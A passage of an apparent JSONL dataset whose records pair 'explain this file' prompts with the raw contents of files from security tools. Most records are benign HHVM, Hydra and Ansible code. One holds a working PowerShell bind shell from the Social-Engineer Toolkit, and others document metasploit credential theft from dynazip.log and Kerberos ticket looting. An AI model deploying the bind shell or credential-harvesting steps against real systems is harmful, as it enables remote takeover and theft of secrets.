~kind:def.SymbolDefinition.kind\n ~pos:def.SymbolDefinition.pos\n with\n | None -> None\n | Some ffps ->\n (match Docblock_finder.get_docblock ffps with\n | Some db -> Some (clean_comments db)\n | None ->\n (match (def.SymbolDefinition.kind, base_class_name) with\n | (SymbolDefinition.Method, Some base_class_name) ->\n fallback ctx base_class_name def.SymbolDefinition.name\n | _ -> None)))\n\n(* Locate a symbol and return file, line, column, and base_class *)\nlet go_locate_symbol\n ~(ctx : Provider_context.t) ~(symbol : string) ~(kind : SearchTypes.si_kind)\n : DocblockService.dbs_symbol_location_result =\n (* Look up this class name *)\n match SymbolIndexCore.get_position_for_symbol ctx symbol kind with\n | None -> None\n | Some (path, line, column) ->\n let filename = Relative_path.to_absolute path in\n (* Determine base class properly *)\n let base_class_name =\n match kind with\n | SearchTypes.SI_Class\n | SearchTypes.SI_Enum\n | SearchTypes.SI_Function\n | SearchTypes.SI_GlobalConstant\n | SearchTypes.SI_Interface\n | SearchTypes.SI_Trait\n | SearchTypes.SI_Typedef ->\n Some (Utils.add_ns symbol)\n | _ -> None\n in\n (* Here are the results *)\n Some\n {\n DocblockService.dbs_filename = filename;\n dbs_line = line;\n dbs_column = column;\n dbs_base_class = base_class_name;\n }\n\nlet symboldefinition_kind_from_si_kind (kind : SearchTypes.si_kind) :\n SymbolDefinition.kind =\n match kind with\n | SearchTypes.SI_Class -> SymbolDefinition.Class\n | SearchTypes.SI_Interface -> SymbolDefinition.Interface\n | SearchTypes.SI_Enum -> SymbolDefinition.Enum\n | SearchTypes.SI_Trait -> SymbolDefinition.Trait\n | SearchTypes.SI_Unknown -> SymbolDefinition.Class\n | SearchTypes.SI_Mixed -> SymbolDefinition.LocalVar\n | SearchTypes.SI_Function -> SymbolDefinition.Function\n | SearchTypes.SI_Typedef -> SymbolDefinition.Typedef\n | SearchTypes.SI_GlobalConstant -> SymbolDefinition.GlobalConst\n | SearchTypes.SI_XHP -> SymbolDefinition.Class\n | SearchTypes.SI_ClassMethod -> SymbolDefinition.Method\n | SearchTypes.SI_Literal -> SymbolDefinition.LocalVar\n | SearchTypes.SI_ClassConstant -> SymbolDefinition.ClassConst\n | SearchTypes.SI_Property -> SymbolDefinition.Property\n | SearchTypes.SI_LocalVariable -> SymbolDefinition.LocalVar\n | SearchTypes.SI_Constructor -> SymbolDefinition.Method\n | SearchTypes.SI_Keyword -> failwith \"Cannot look up a keyword\"\n | SearchTypes.SI_Namespace -> failwith \"Cannot look up a namespace\"\n\nlet rec go_docblock_ctx\n ~(ctx : Provider_context.t)\n ~(entry : Provider_context.entry)\n ~(line : int)\n ~(column : int)\n ~(kind : SearchTypes.si_kind) : DocblockService.result =\n let def_kind = symboldefinition_kind_from_si_kind kind in\n match\n go_comments_from_source_text ~ctx ~entry ~line ~column ~kind:def_kind\n with\n | None ->\n (* Special case: Classes with an assumed default constructor *)\n if SearchTypes.equal_si_kind kind SearchTypes.SI_Constructor then\n go_docblock_ctx ~ctx ~entry ~line ~column ~kind:SearchTypes.SI_Class\n else\n []\n | Some \"\" -> []\n | Some comments -> [DocblockService.Markdown comments]\n\n(* Locate a symbol and return its docblock, no extra steps *)\nlet go_docblock_for_symbol\n ~(ctx : Provider_context.t) ~(symbol : string) ~(kind : SearchTypes.si_kind)\n : DocblockService.result =\n (* Shortcut for namespaces, since they don't have locations *)\n if SearchTypes.equal_si_kind kind SearchTypes.SI_Namespace then\n let namespace_declaration = Printf.sprintf \"namespace %s;\" symbol in\n [DocblockService.HackSnippet namespace_declaration]\n else if SearchTypes.equal_si_kind kind SearchTypes.SI_Keyword then\n let txt = Printf.sprintf \"Hack language keyword: %s;\" symbol in\n [DocblockService.HackSnippet txt]\n else\n match go_locate_symbol ~ctx ~symbol ~kind with\n | None ->\n let msg =\n Printf.sprintf\n \"Could not find the symbol '%s' (expected to be a %s). This symbol may need namespace information (e.g. HH\\\\a\\\\b\\\\c) to resolve correctly. You can also consider rebasing.\"\n symbol\n (SearchTypes.show_si_kind kind)\n in\n [DocblockService.Markdown msg]\n | Some location ->\n DocblockService.(\n let (ctx, entry) =\n Provider_context.add_entry_if_missing\n ~ctx\n ~path:(Relative_path.create_detect_prefix location.dbs_filename)\n in\n go_docblock_ctx\n ~ctx\n ~entry\n ~line:location.dbs_line\n ~column:location.dbs_column\n ~kind)", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:4844"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/lib/msf/base/sessions/meterpreter_aarch64_apple_ios.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# -*- coding: binary -*-\n\n\nmodule Msf\nmodule Sessions\n\n###\n#\n# This class creates a platform-specific meterpreter session type\n#\n###\nclass Meterpreter_aarch64_Apple_iOS < Msf::Sessions::Meterpreter\n def supports_ssl?\n false\n end\n def supports_zlib?\n false\n end\n def initialize(rstream, opts={})\n super\n self.base_platform = 'apple_ios'\n self.base_arch = ARCH_AARCH64\n end\nend\n\nend\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:39914"}} -{"instruction": "Explain the purpose and role of 'algo/library/linode_stackscript_v4.py' from the algo security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\nimport traceback\n\nfrom ansible.module_utils.basic import AnsibleModule, env_fallback, missing_required_lib\nfrom ansible.module_utils.linode import get_user_agent\n\nLINODE_IMP_ERR = None\ntry:\n from linode_api4 import StackScript, LinodeClient\n HAS_LINODE_DEPENDENCY = True\nexcept ImportError:\n LINODE_IMP_ERR = traceback.format_exc()\n HAS_LINODE_DEPENDENCY = False\n\n\ndef create_stackscript(module, client, **kwargs):\n \"\"\"Creates a stackscript and handles return format.\"\"\"\n try:\n response = client.linode.stackscript_create(**kwargs)\n return response._raw_json\n except Exception as exception:\n module.fail_json(msg='Unable to query the Linode API. Saw: %s' % exception)\n\n\ndef stackscript_available(module, client):\n \"\"\"Try to retrieve a stackscript.\"\"\"\n try:\n label = module.params['label']\n desc = module.params['description']\n\n result = client.linode.stackscripts(StackScript.label == label,\n StackScript.description == desc,\n mine_only=True\n )\n return result[0]\n except IndexError:\n return None\n except Exception as exception:\n module.fail_json(msg='Unable to query the Linode API. Saw: %s' % exception)\n\n\ndef initialise_module():\n \"\"\"Initialise the module parameter specification.\"\"\"\n return AnsibleModule(\n argument_spec=dict(\n label=dict(type='str', required=True),\n state=dict(\n type='str',\n required=True,\n choices=['present', 'absent']\n ),\n access_token=dict(\n type='str',\n required=True,\n no_log=True,\n fallback=(env_fallback, ['LINODE_ACCESS_TOKEN']),\n ),\n script=dict(type='str', required=True),\n images=dict(type='list', required=True),\n description=dict(type='str', required=False),\n public=dict(type='bool', required=False, default=False),\n ),\n supports_check_mode=False\n )\n\n\ndef build_client(module):\n \"\"\"Build a LinodeClient.\"\"\"\n return LinodeClient(\n module.params['access_token'],\n user_agent=get_user_agent('linode_v4_module')\n )\n\n\ndef main():\n \"\"\"Module entrypoint.\"\"\"\n module = initialise_module()\n\n if not HAS_LINODE_DEPENDENCY:\n module.fail_json(msg=missing_required_lib('linode-api4'), exception=LINODE_IMP_ERR)\n\n client = build_client(module)\n stackscript = stackscript_available(module, client)\n\n if module.params['state'] == 'present' and stackscript is not None:\n module.exit_json(changed=False, stackscript=stackscript._raw_json)\n\n elif module.params['state'] == 'present' and stackscript is None:\n stackscript_json = create_stackscript(\n module, client,\n label=module.params['label'],\n script=module.params['script'],\n images=module.params['images'],\n desc=module.params['description'],\n public=module.params['public'],\n )\n module.exit_json(changed=True, stackscript=stackscript_json)\n\n elif module.params['state'] == 'absent' and stackscript is not None:\n stackscript.delete()\n module.exit_json(changed=True, stackscript=stackscript._raw_json)\n\n elif module.params['state'] == 'absent' and stackscript is None:\n module.exit_json(changed=False, stackscript={})\n\n\nif __name__ == \"__main__\":\n main()", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:722"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/autocomplete/generic_fun_enum_arg.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": " $_): void {}\n\n// Invariant, so we solve to Vector at the call site.\nfunction creates_vec(T $x): Vector { return Vector {$x}; }\n\nfunction foo(): void {\n takes_vec(creates_vec(AUTO332));\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:5999"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/kenzap-pricing/composer_file/package.json' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "{\n \"name\": \"kenzap-pricing-list-block-cgb-guten-block\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"scripts\": {\n \"start\": \"cgb-scripts start\",\n \"build\": \"cgb-scripts build\",\n \"eject\": \"cgb-scripts eject\"\n },\n \"dependencies\": {\n \"cgb-scripts\": \"1.14.0\"\n }\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:60400"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/ext/standard/tests/serialize/bug64354_2.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\ntry {\n var_dump(unserialize('a:2:{i:0;O:1:\"A\":0:{}i:1;O:1:\"B\":0:{}}'));\n} catch (Exception $e) {\n var_dump($e->getMessage());\n}\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:29646"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/lib/msf/core/exploit/remote/kerberos/ticket/storage/write_mixin.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "module Msf::Exploit::Remote::Kerberos::Ticket::Storage\n # A mixin providing the ability to store new and delete existing tickets.\n module WriteMixin\n # (see Base#delete_tickets)\n def delete_tickets(options = {})\n if options.keys == [:ids]\n # skip calling #objects which issues a query when the IDs are specified\n ids = options[:ids]\n else\n ids = objects(options).map(&:id)\n end\n\n framework.db.delete_loot(ids: ids).map do |stored_loot|\n StoredTicket.new(stored_loot)\n end\n end\n\n # (see Base#store_ccache)\n def store_ccache(ccache, options = {})\n realm = options.fetch(:realm) { ccache.default_principal.realm }\n # use #components.to_a.join('/') to omit the realm that #to_s includes\n client = options.fetch(:client) { ccache.credentials.first&.client&.components.to_a.join('/') }\n server = options.fetch(:server) { ccache.credentials.first&.server&.components.to_a.join('/') }\n info = generate_info_string(realm: realm, client: client, server: server)\n loot = nil\n path = store_loot('mit.kerberos.ccache', 'application/octet-stream', options[:host], ccache.encode, nil, info) do |mdm_loot|\n loot = mdm_loot\n end\n message = ''\n if @framework_module.respond_to?(:peer) && @framework_module.peer.present? && @framework_module.peer != ':'\n message << \"#{@framework_module.peer} - \"\n end\n if server && server.to_s.downcase.start_with?('krbtgt/')\n message << 'TGT '\n else\n message << 'TGS '\n end\n message << \"MIT Credential Cache ticket saved to #{path}\"\n print_status(message)\n\n { path: path, loot: loot }\n end\n\n # (see Base#deactivate_ccache)\n def deactivate_ccache(ids:)\n set_ccache_status(ids: ids, status: 'inactive')\n end\n\n # (see Base#activate_ccache)\n def activate_ccache(ids:)\n set_ccache_status(ids: ids, status: 'active')\n end\n\n private\n\n # @param [Array] ids List of ticket IDs to update\n # @param [String] status The status to set for the tickets\n # @return [Array]\n def set_ccache_status(ids:, status:)\n updated_loots = []\n ids.each do |id|\n loot = objects({ id: id })\n if loot.blank?\n print_warning(\"Ccache with id: #{id} was not found in loot\")\n next\n end\n updated_loot_info = update_info_string(loot.first.info, status: status)\n # I know this looks weird but the local db returns a single loot object, remote db returns an array of them\n updated_loots << Array.wrap(framework.db.update_loot({ id: id, info: updated_loot_info })).first\n end\n updated_loots.map do |stored_loot|\n StoredTicket.new(stored_loot)\n end\n end\n\n def generate_info_string(options = {})\n JSON.generate(loot_info(options))\n end\n\n def update_info_string(info, **kwargs)\n info_hash = parse_json_no_errors(info)\n updated_hash = loot_info(info_hash.merge(kwargs))\n JSON.generate(updated_hash)\n end\n\n def parse_json_no_errors(json)\n JSON.parse(json).symbolize_keys\n rescue JSON::ParserError\n wlog('Ccache info is invalid JSON')\n {}\n end\n end\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:40427"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/documentation/modules/post/windows/gather/credentials/dynazip_log.md' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "## Vulnerable Application\n\n This post-exploitation module extracts clear text credentials from dynazip.log.\n\n The dynazip.log file is located in `%WINDIR%` and contains log entries generated during encryption of Compressed Folders (zip files) in Microsoft® Plus! 98 and Windows® Me. Each log entry contains detailed diagnostic information generated during the encryption process, including the zip file name and the password used to encrypt the zip file in clear text.\n\n Microsoft released details of the vulnerability in [Microsoft Security Bulletin MS01-019](https://technet.microsoft.com/en-us/library/security/MS01-019) rated as Critical. A patch which disabled use of the log file was also released; however the patch failed to clear the contents of the existing log file.\n\n Microsoft® Plus! 98 and Windows® Me are no longer supported by Microsoft.\n\n\n## Verification Steps\n\n 1. Start `msfconsole`\n 2. Get meterpreter session\n 3. Do: `use post/windows/gather/credentials/dynazip_log`\n 4. Do: `set SESSION `\n 5. Do: `run`\n 6. You should be able to see the extracted credentials in the module output\n\n\n## Example Run\n\n **Default Output**\n\n ```\n msf post(dynazip_log) > exploit \n\n [+] Found DynaZip log file: C:\\WINDOWS\\dynazip.log\n [+] File: 'C:\\WINDOWS\\Desktop\\secret.zip' -- Password: 'my secret password!'\n [+] File: 'C:\\WINDOWS\\Desktop\\private.zip' -- Password: 'priv8'\n [+] File: 'C:\\WINDOWS\\Desktop\\thepasswordisaspace.zip' -- Password: ' '\n [+] File: 'C:\\WINDOWS\\Desktop\\earthbound.zip' -- Password: 'fuzzy pickles'\n\n ZIP Passwords\n =============\n\n File Path Password\n --------- --------\n C:\\WINDOWS\\Desktop\\earthbound.zip fuzzy pickles\n C:\\WINDOWS\\Desktop\\private.zip priv8\n C:\\WINDOWS\\Desktop\\secret.zip my secret password!\n C:\\WINDOWS\\Desktop\\thepasswordisaspace.zip \n\n [*] Post module execution completed\n ```\n\n **Verbose Output**\n\n ```\n msf post(dynazip_log) > set verbose true\n verbose => true\n msf post(dynazip_log) > exploit \n\n [+] Found DynaZip log file: C:\\WINDOWS\\dynazip.log\n [*] Processing log file (6614 bytes)\n [*] Processing log entry for C:\\WINDOWS\\Desktop\\secret.zip\n [+] File: 'C:\\WINDOWS\\Desktop\\secret.zip' -- Password: 'my secret password!'\n [*] Processing log entry for C:\\WINDOWS\\Desktop\\private.zip\n [+] File: 'C:\\WINDOWS\\Desktop\\private.zip' -- Password: 'priv8'\n [*] Processing log entry for C:\\WINDOWS\\Desktop\\thepasswordisaspace.zip\n [+] File: 'C:\\WINDOWS\\Desktop\\thepasswordisaspace.zip' -- Password: ' '\n [*] Processing log entry for C:\\WINDOWS\\Desktop\\earthbound.zip\n [+] File: 'C:\\WINDOWS\\Desktop\\earthbound.zip' -- Password: 'fuzzy pickles'\n [*] Processing log entry for C:\\WINDOWS\\Desktop\\this file is not encrypted.zip\n [*] Did not find a password\n\n ZIP Passwords\n =============\n\n File Path Password\n --------- --------\n C:\\WINDOWS\\Desktop\\earthbound.zip fuzzy pickles\n C:\\WINDOWS\\Desktop\\private.zip priv8\n C:\\WINDOWS\\Desktop\\secret.zip my secret password!\n C:\\WINDOWS\\Desktop\\thepasswordisaspace.zip \n\n [*] Post module execution completed\n ```\n\n\n## Example Log Entry\n\n An example dynazip.log log file entry is shown below:\n\n ```\n --- DynaZIP ZIP Diagnostic Log - Version: 3.00.16 - 02/22/17 17:01:46 ---\n Function: 5 \n lpszZIPFile: 0x00437538 \n C:\\WINDOWS\\Desktop\\secret.zip\n lpszItemList: 0x0059e878 \n \"secret.txt\"\n lpMajorStatus: 0x00000000 \n lpMajorUserData: 0x00000000 \n lpMinorStatus: 0x00000000 \n lpMinorUserData: 0x00000000 \n dosifyFlag: 0 \n recurseFlag: 0 \n compFactor: 5 \n quietFlag: 1 \n pathForTempFlag: 0 \n lpszTempPath: 0x00000000 \n ???\n fixFlag: 0 \n fixHarderFlag: 0 \n includeVolumeFlag: 0 \n deleteOriginalFlag: 0 \n growExistingFlag: 0 \n noDirectoryNamesFlag: 0 \n convertLFtoCRLFFlag: 0 \n addCommentFlag: 0 \n lpszComment: 0x00000000 \n ???\n afterDateFlag: 0 \n lpszDate: 0x00000000 \n oldAsLatestFlag: 0 \n includeOnlyFollowingFlag: 0 \n lpszIncludeFollowing: 0x00000000 \n ???\n excludeFollowingFlag: 0 \n lpszExludeFollowing: 0x00000000 \n ???\n noDirectoryEntriesFlag: 0 \n includeSysHiddenFlag: 1 \n dontCompressTheseSuffixesFlag: 0 \n lpszStoreSuffixes: 0x00000000 \n ???\n encryptFlag: 1 \n lpszEncryptCode: 0x712185d4 \n my secret password!\n lpMessageDisplay: 0x7120ca22 \n lpMessageDisplayData: 0x00000000 \n wMultiVolControl: 0x0000 \n wZipSubOptions: 0x0000 \n lResv1: 0x00000000 \n lResv2: 0x00000000 \n lpszExtProgTitle: 0x00000000 \n ???\n lpRenameProc: 0x71203919 \n lpRenameUserData: 0x0059eb8a \n lpMemBlock: 0x004e3a0c \n lMemBlockSize: 6 \n ```", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:37804"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/ext/standard/tests/math/hexdec.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\nvar_dump(hexdec(\"012345\"));\nvar_dump(hexdec(\"12345\"));\nvar_dump(hexdec(\"q12345\"));\nvar_dump(hexdec(\"12345+?!\"));\nvar_dump(hexdec(\"12345q\"));\nvar_dump((float)hexdec(\"1234500001\"));\nvar_dump((float)hexdec(\"17fffffff\"));\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:29512"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/ext_mailparse/uue_data/badbegin2.uue' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "begin 644 quip.txt\nM5&AE symbol.\n\n\n= 2.0.1 =\n* Added the Enable gateway checkbox in plugin settings\n\n\n= 2.0.0 =\n* Updated the URL input from Text to Select\n* Fixed the PayTomorrow logo on checkout page\n* Added hyperlink to PayTomorrow at checkout page\n* Added MPE properties selectors (Manage Payment)\n* Added support for MPE-plugin\n\n\n= 1.0.0 =\n* Initial release", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:60734"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/quick/abstract_static_1.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\n Foo::who();\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:17118"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/Zend/tests/use_function/shadow_core.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\nrequire 'includes/foo_strlen.inc';\nvar_dump(strlen('foo bar baz'));\necho \"Done\\n\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:31721"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/prop-type-hints/invalid-prop-type5.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\nfunction main(): void {\n echo \"Done.\\n\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:23660"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/full_fidelity/cases/function_default_args/func_arg.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\n\n<<__SupportDynamicType>>\nfunction f(): void {}\n\n<<__SupportDynamicType>>\nfunction g(): void {}\n\nfunction h(): void {\n $x = null;\n $x ??= f<>;\n $x upcast dynamic;\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:8722"}} -{"instruction": "Explain the purpose and role of 'social-engineer-toolkit-https-github.com-trustedsec-social-engineer-toolkit/src/powershell/bind.powershell' from the social-engineer-toolkit-https-github.com-trustedsec-social-engineer-toolkit security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "#\n# PowerShell Bind by Josh Kelley (winfang) and Dave Kennedy (ReL1K)\n# Defcon Release\n#\n#\n#\n\n$encoding = new-object System.Text.AsciiEncoding\n$endpoint = new-object System.Net.IpEndpoint ([System.Net.Ipaddress]::any, \"PORTHERE\")\n$listener = new-object System.Net.Sockets.TcpListener $endpoint\n$listener.start()\n$socket = $listener.AcceptTcpClient()\n$networkstream = $socket.GetStream()\n$networkbuffer = New-Object System.Byte[] $socket.ReceiveBufferSize\n$process = New-Object System.Diagnostics.Process \n$process.StartInfo.FileName = \"C:\\\\windows\\\\system32\\\\cmd.exe\"\n$process.StartInfo.RedirectStandardInput = 1\n$process.StartInfo.RedirectStandardOutput = 1\n$process.StartInfo.UseShellExecute = 0\n$process.Start()\n$inputstream = $process.StandardInput\n$outputstream = $process.StandardOutput\n \nStart-Sleep 1\n \nwhile($outputstream.Peek() -ne -1){\n $string += $encoding.GetString($outputstream.Read())\n}\n$networkstream.Write($encoding.GetBytes($string),0,$string.Length)\n$string = '' \n$done = $false\nwhile (-not $done) {\n $pos = 0\n $i = 1\n while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {\n $read = $networkstream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)\n $pos+=$read\n if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {\n break\n }\n }\n if ($pos -gt 0) {\n $string = $encoding.GetString($networkbuffer,0,$pos)\n $inputstream.write($string)\n \n # Write Output\n $out = $encoding.GetString($outputstream.Read())\n while($outputstream.Peek() -ne -1){\n $out += $encoding.GetString($outputstream.Read())\n }\n $networkstream.Write($encoding.GetBytes($out),0,$out.length)\n $out = $null\n }\n else {\n $done = $true\n }\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:52654"}} -{"instruction": "Explain the purpose and role of 'hydra/x/events/events.go' from the hydra security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "// Copyright © 2023 Ory Corp\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"context\"\n\n\totelattr \"go.opentelemetry.io/otel/attribute\"\n\t\"go.opentelemetry.io/otel/trace\"\n\n\t\"github.com/ory/fosite\"\n\t\"github.com/ory/x/otelx/semconv\"\n)\n\nconst (\n\t// LoginAccepted will be emitted when the login UI accepts a login request.\n\tLoginAccepted semconv.Event = \"OAuth2LoginAccepted\"\n\n\t// LoginRejected will be emitted when the login UI rejects a login request.\n\tLoginRejected semconv.Event = \"OAuth2LoginRejected\"\n\n\t// ConsentAccepted will be emitted when the consent UI accepts a consent request.\n\tConsentAccepted semconv.Event = \"OAuth2ConsentAccepted\"\n\n\t// ConsentRejected will be emitted when the consent UI rejects a consent request.\n\tConsentRejected semconv.Event = \"OAuth2ConsentRejected\"\n\n\t// ConsentRevoked will be emitted when the user revokes a consent request.\n\tConsentRevoked semconv.Event = \"OAuth2ConsentRevoked\"\n\n\t// ClientCreated will be emitted when a client is created.\n\tClientCreated semconv.Event = \"OAuth2ClientCreated\"\n\n\t// ClientDeleted will be emitted when a client is deleted.\n\tClientDeleted semconv.Event = \"OAuth2ClientDeleted\"\n\n\t// ClientUpdated will be emitted when a client is updated.\n\tClientUpdated semconv.Event = \"OAuth2ClientUpdated\"\n\n\t// AccessTokenIssued will be emitted by requests to POST /oauth2/token in case the request was successful.\n\tAccessTokenIssued semconv.Event = \"OAuth2AccessTokenIssued\" //nolint:gosec\n\n\t// TokenExchangeError will be emitted by requests to POST /oauth2/token in case the request was unsuccessful.\n\tTokenExchangeError semconv.Event = \"OAuth2TokenExchangeError\" //nolint:gosec\n\n\t// AccessTokenInspected will be emitted by requests to POST /admin/oauth2/introspect.\n\tAccessTokenInspected semconv.Event = \"OAuth2AccessTokenInspected\" //nolint:gosec\n\n\t// AccessTokenRevoked will be emitted by requests to POST /oauth2/revoke.\n\tAccessTokenRevoked semconv.Event = \"OAuth2AccessTokenRevoked\" //nolint:gosec\n\n\t// RefreshTokenIssued will be emitted when a refresh token is issued.\n\tRefreshTokenIssued semconv.Event = \"OAuth2RefreshTokenIssued\" //nolint:gosec\n\n\t// IdentityTokenIssued will be emitted when a refresh token is issued.\n\tIdentityTokenIssued semconv.Event = \"OIDCIdentityTokenIssued\" //nolint:gosec\n)\n\nconst (\n\tattributeKeyOAuth2ClientName = \"OAuth2ClientName\"\n\tattributeKeyOAuth2ClientID = \"OAuth2ClientID\"\n\tattributeKeyOAuth2Subject = \"OAuth2Subject\"\n\tattributeKeyOAuth2GrantType = \"OAuth2GrantType\"\n\tattributeKeyOAuth2TokenFormat = \"OAuth2TokenFormat\" //nolint:gosec\n)\n\n// WithTokenFormat emits the token format as part of the event.\nfunc WithTokenFormat(format string) trace.EventOption {\n\treturn trace.WithAttributes(otelattr.String(attributeKeyOAuth2TokenFormat, format))\n}\n\n// WithGrantType emits the token format as part of the event.\nfunc WithGrantType(grantType string) trace.EventOption {\n\treturn trace.WithAttributes(otelattr.String(attributeKeyOAuth2GrantType, grantType))\n}\n\n// WithClientID emits the client ID as part of the event.\nfunc WithClientID(clientID string) trace.EventOption {\n\treturn trace.WithAttributes(otelattr.String(attributeKeyOAuth2ClientID, clientID))\n}\n\n// WithClientName emits the client name as part of the event.\nfunc WithClientName(clientID string) trace.EventOption {\n\treturn trace.WithAttributes(otelattr.String(attributeKeyOAuth2ClientName, clientID))\n}\n\n// WithSubject emits the subject as part of the event.\nfunc WithSubject(subject string) trace.EventOption {\n\treturn trace.WithAttributes(otelattr.String(attributeKeyOAuth2Subject, subject))\n}\n\n// WithRequest emits the subject and client ID from the fosite request as part of the event.\nfunc WithRequest(request fosite.Requester) trace.EventOption {\n\tvar attributes []otelattr.KeyValue\n\tif client := request.GetClient(); client != nil {\n\t\tattributes = append(attributes, otelattr.String(attributeKeyOAuth2ClientID, client.GetID()))\n\t}\n\tif session := request.GetSession(); session != nil {\n\t\tattributes = append(attributes, otelattr.String(attributeKeyOAuth2Subject, session.GetSubject()))\n\t}\n\n\treturn trace.WithAttributes(attributes...)\n}\n\n// Trace emits an event with the given attributes.\nfunc Trace(ctx context.Context, event semconv.Event, opts ...trace.EventOption) {\n\tallOpts := append([]trace.EventOption{trace.WithAttributes(semconv.AttributesFromContext(ctx)...)}, opts...)\n\ttrace.SpanFromContext(ctx).AddEvent(\n\t\tstring(event),\n\t\tallOpts...,\n\t)\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:64607"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/utils/html_entities/Cargo.toml' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# @generated by autocargo\n\n[package]\nname = \"html_entities\"\nversion = \"0.0.0\"\nedition = \"2021\"\n\n[lib]\npath = \"html_entities.rs\"\n\n[dependencies]\nlazy_static = \"1.4\"\nocaml_helper = { version = \"0.0.0\", path = \"../ocaml_helper\" }\nregex = \"1.9.2\"\n\n[dev-dependencies]\npretty_assertions = { version = \"1.2\", features = [\"alloc\"], default-features = false }", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:5792"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/slow/hhbbc/func_family_004.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "foo();\n var_dump($x);\n}\n\n\n\n<<__EntryPoint>>\nfunction main_func_family_004() :mixed{\ntry {\n main(new D2);\n main(new D1);\n} catch (Exception $x) {}\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:22134"}} -{"instruction": "Explain the purpose and role of 'hydra/internal/httpclient/model_error_o_auth2.go' from the hydra security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/*\nOry Hydra API\n\nDocumentation for all of Ory Hydra's APIs.\n\nAPI version:\nContact: hi@ory.sh\n*/\n\n// Code generated by OpenAPI Generator (https://openapi-generator.tech); DO NOT EDIT.\n\npackage openapi\n\nimport (\n\t\"encoding/json\"\n)\n\n// ErrorOAuth2 Error\ntype ErrorOAuth2 struct {\n\t// Error\n\tError *string `json:\"error,omitempty\"`\n\t// Error Debug Information Only available in dev mode.\n\tErrorDebug *string `json:\"error_debug,omitempty\"`\n\t// Error Description\n\tErrorDescription *string `json:\"error_description,omitempty\"`\n\t// Error Hint Helps the user identify the error cause.\n\tErrorHint *string `json:\"error_hint,omitempty\"`\n\t// HTTP Status Code\n\tStatusCode *int64 